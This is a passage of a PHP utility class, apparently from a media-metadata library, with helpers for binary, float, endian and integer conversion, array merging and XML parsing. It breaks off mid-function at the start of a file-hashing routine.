		return $numerator / ($denominator ? $denominator : 1);
	}


	public static function DecimalBinary2Float($binarynumerator) {
		$numerator   = self::Bin2Dec($binarynumerator);
		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
		return ($numerator / $denominator);
	}


	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
		if (strpos($binarypointnumber, '.') === false) {
			$binarypointnumber = '0.'.$binarypointnumber;
		} elseif ($binarypointnumber{0} == '.') {
			$binarypointnumber = '0'.$binarypointnumber;
		}
		$exponent = 0;
		while (($binarypointnumber{0} != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
			if (substr($binarypointnumber, 1, 1) == '.') {
				$exponent--;
				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
			} else {
				$pointpos = strpos($binarypointnumber, '.');
				$exponent += ($pointpos - 1);
				$binarypointnumber = str_replace('.', '', $binarypointnumber);
				$binarypointnumber = $binarypointnumber{0}.'.'.substr($binarypointnumber, 1);
			}
		}
		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
		return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent);
	}


	public static function Float2BinaryDecimal($floatvalue) {
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
		$maxbits = 128; // to how many bits of precision should the calculations be taken?
		$intpart   = self::trunc($floatvalue);
		$floatpart = abs($floatvalue - $intpart);
		$pointbitstring = '';
		while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) {
			$floatpart *= 2;
			$pointbitstring .= (string) self::trunc($floatpart);
			$floatpart -= self::trunc($floatpart);
		}
		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
		return $binarypointnumber;
	}


	public static function Float2String($floatvalue, $bits) {
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
		switch ($bits) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			default:
				return false;
				break;
		}
		if ($floatvalue >= 0) {
			$signbit = '0';
		} else {
			$signbit = '1';
		}
		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);

		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
	}


	public static function LittleEndian2Float($byteword) {
		return self::BigEndian2Float(strrev($byteword));
	}


	public static function BigEndian2Float($byteword) {
		// ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
		// http://www.psc.edu/general/software/packages/ieee/ieee.html
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html

		$bitword = self::BigEndian2Bin($byteword);
		if (!$bitword) {
			return 0;
		}
		$signbit = $bitword{0};

		switch (strlen($byteword) * 8) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			case 80:
				// 80-bit Apple SANE format
				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
				$exponentstring = substr($bitword, 1, 15);
				$isnormalized = intval($bitword{16});
				$fractionstring = substr($bitword, 17, 63);
				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
				$floatvalue = $exponent * $fraction;
				if ($signbit == '1') {
					$floatvalue *= -1;
				}
				return $floatvalue;
				break;

			default:
				return false;
				break;
		}
		$exponentstring = substr($bitword, 1, $exponentbits);
		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
		$exponent = self::Bin2Dec($exponentstring);
		$fraction = self::Bin2Dec($fractionstring);

		if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) {
			// Not a Number
			$floatvalue = false;
		} elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = '-infinity';
			} else {
				$floatvalue = '+infinity';
			}
		} elseif (($exponent == 0) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -0;
			} else {
				$floatvalue = 0;
			}
			$floatvalue = ($signbit ? 0 : -0);
		} elseif (($exponent == 0) && ($fraction != 0)) {
			// These are 'unnormalized' values
			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		} elseif ($exponent != 0) {
			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		}
		return (float) $floatvalue;
	}


	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
		$intvalue = 0;
		$bytewordlen = strlen($byteword);
		if ($bytewordlen == 0) {
			return false;
		}
		for ($i = 0; $i < $bytewordlen; $i++) {
			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
				//$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
				$intvalue += (ord($byteword{$i}) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
			} else {
				$intvalue += ord($byteword{$i}) * pow(256, ($bytewordlen - 1 - $i));
			}
		}
		if ($signed && !$synchsafe) {
			// synchsafe ints are not allowed to be signed
			if ($bytewordlen <= PHP_INT_SIZE) {
				$signMaskBit = 0x80 << (8 * ($bytewordlen - 1));
				if ($intvalue & $signMaskBit) {
					$intvalue = 0 - ($intvalue & ($signMaskBit - 1));
				}
			} else {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
			}
		}
		return self::CastAsInt($intvalue);
	}


	public static function LittleEndian2Int($byteword, $signed=false) {
		return self::BigEndian2Int(strrev($byteword), false, $signed);
	}

	public static function LittleEndian2Bin($byteword) {
		return self::BigEndian2Bin(strrev($byteword));
	}

	public static function BigEndian2Bin($byteword) {
		$binvalue = '';
		$bytewordlen = strlen($byteword);
		for ($i = 0; $i < $bytewordlen; $i++) {
			$binvalue .= str_pad(decbin(ord($byteword{$i})), 8, '0', STR_PAD_LEFT);
		}
		return $binvalue;
	}


	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
		if ($number < 0) {
			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
		}
		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
		$intstring = '';
		if ($signed) {
			if ($minbytes > PHP_INT_SIZE) {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
			}
			$number = $number & (0x80 << (8 * ($minbytes - 1)));
		}
		while ($number != 0) {
			$quotient = ($number / ($maskbyte + 1));
			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
			$number = floor($quotient);
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT);
	}


	public static function Dec2Bin($number) {
		while ($number >= 256) {
			$bytes[] = (($number / 256) - (floor($number / 256))) * 256;
			$number = floor($number / 256);
		}
		$bytes[] = $number;
		$binstring = '';
		for ($i = 0; $i < count($bytes); $i++) {
			$binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, '0', STR_PAD_LEFT)).$binstring;
		}
		return $binstring;
	}


	public static function Bin2Dec($binstring, $signed=false) {
		$signmult = 1;
		if ($signed) {
			if ($binstring{0} == '1') {
				$signmult = -1;
			}
			$binstring = substr($binstring, 1);
		}
		$decvalue = 0;
		for ($i = 0; $i < strlen($binstring); $i++) {
			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
		}
		return self::CastAsInt($decvalue * $signmult);
	}


	public static function Bin2String($binstring) {
		// return 'hi' for input of '0110100001101001'
		$string = '';
		$binstringreversed = strrev($binstring);
		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
		}
		return $string;
	}


	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
		$intstring = '';
		while ($number > 0) {
			if ($synchsafe) {
				$intstring = $intstring.chr($number & 127);
				$number >>= 7;
			} else {
				$intstring = $intstring.chr($number & 255);
				$number >>= 8;
			}
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
	}


	public static function array_merge_clobber($array1, $array2) {
		// written by kcØhireability*com
		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
			} else {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}


	public static function array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
			} elseif (!isset($newarray[$key])) {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	public static function flipped_array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		# naturally, this only works non-recursively
		$newarray = array_flip($array1);
		foreach (array_flip($array2) as $key => $val) {
			if (!isset($newarray[$key])) {
				$newarray[$key] = count($newarray);
			}
		}
		return array_flip($newarray);
	}


	public static function ksort_recursive(&$theArray) {
		ksort($theArray);
		foreach ($theArray as $key => $value) {
			if (is_array($value)) {
				self::ksort_recursive($theArray[$key]);
			}
		}
		return true;
	}

	public static function fileextension($filename, $numextensions=1) {
		if (strstr($filename, '.')) {
			$reversedfilename = strrev($filename);
			$offset = 0;
			for ($i = 0; $i < $numextensions; $i++) {
				$offset = strpos($reversedfilename, '.', $offset + 1);
				if ($offset === false) {
					return '';
				}
			}
			return strrev(substr($reversedfilename, 0, $offset));
		}
		return '';
	}


	public static function PlaytimeString($seconds) {
		$sign = (($seconds < 0) ? '-' : '');
		$seconds = round(abs($seconds));
		$H = (int) floor( $seconds                            / 3600);
		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
	}


	public static function DateMac2Unix($macdate) {
		// Macintosh timestamp: seconds since 00:00h January 1, 1904
		// UNIX timestamp:      seconds since 00:00h January 1, 1970
		return self::CastAsInt($macdate - 2082844800);
	}


	public static function FixedPoint8_8($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
	}


	public static function FixedPoint16_16($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
	}


	public static function FixedPoint2_30($rawdata) {
		$binarystring = self::BigEndian2Bin($rawdata);
		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
	}


	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
		// assigns $Value to a nested array path:
		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
		// is the same as:
		//   $foo = array('path'=>array('to'=>'array('my'=>array('file.txt'))));
		// or
		//   $foo['path']['to']['my'] = 'file.txt';
		$ArrayPath = ltrim($ArrayPath, $Separator);
		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
		} else {
			$ReturnedArray[$ArrayPath] = $Value;
		}
		return $ReturnedArray;
	}

	public static function array_max($arraydata, $returnkey=false) {
		$maxvalue = false;
		$maxkey = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if ($value > $maxvalue) {
					$maxvalue = $value;
					$maxkey = $key;
				}
			}
		}
		return ($returnkey ? $maxkey : $maxvalue);
	}

	public static function array_min($arraydata, $returnkey=false) {
		$minvalue = false;
		$minkey = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if ($value > $minvalue) {
					$minvalue = $value;
					$minkey = $key;
				}
			}
		}
		return ($returnkey ? $minkey : $minvalue);
	}

	public static function XML2array($XMLstring) {
		if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) {
			// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
			// https://core.trac.wordpress.org/changeset/29378
			$loader = libxml_disable_entity_loader(true);
			$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
			$return = self::SimpleXMLelement2array($XMLobject);
			libxml_disable_entity_loader($loader);
			return $return;
		}
		return false;
	}

	public static function SimpleXMLelement2array($XMLobject) {
		if (!is_object($XMLobject) && !is_array($XMLobject)) {
			return $XMLobject;
		}
		$XMLarray = (is_object($XMLobject) ? get_object_vars($XMLobject) : $XMLobject);
		foreach ($XMLarray as $key => $value) {
			$XMLarray[$key] = self::SimpleXMLelement2array($value);
		}
		return $XMLarray;
	}


	// Allan Hansen <ahØartemis*dk>
	// self::md5_data() - returns md5sum for a file from startuing position to absolute end position
	public static function hash_data($file, $offset, $end, $algorithm) {
		static $tempdir = '';
		if (!self::intValueSupported($end)) {
			return false;
		}
		switch ($algorithm) {
			case 'md5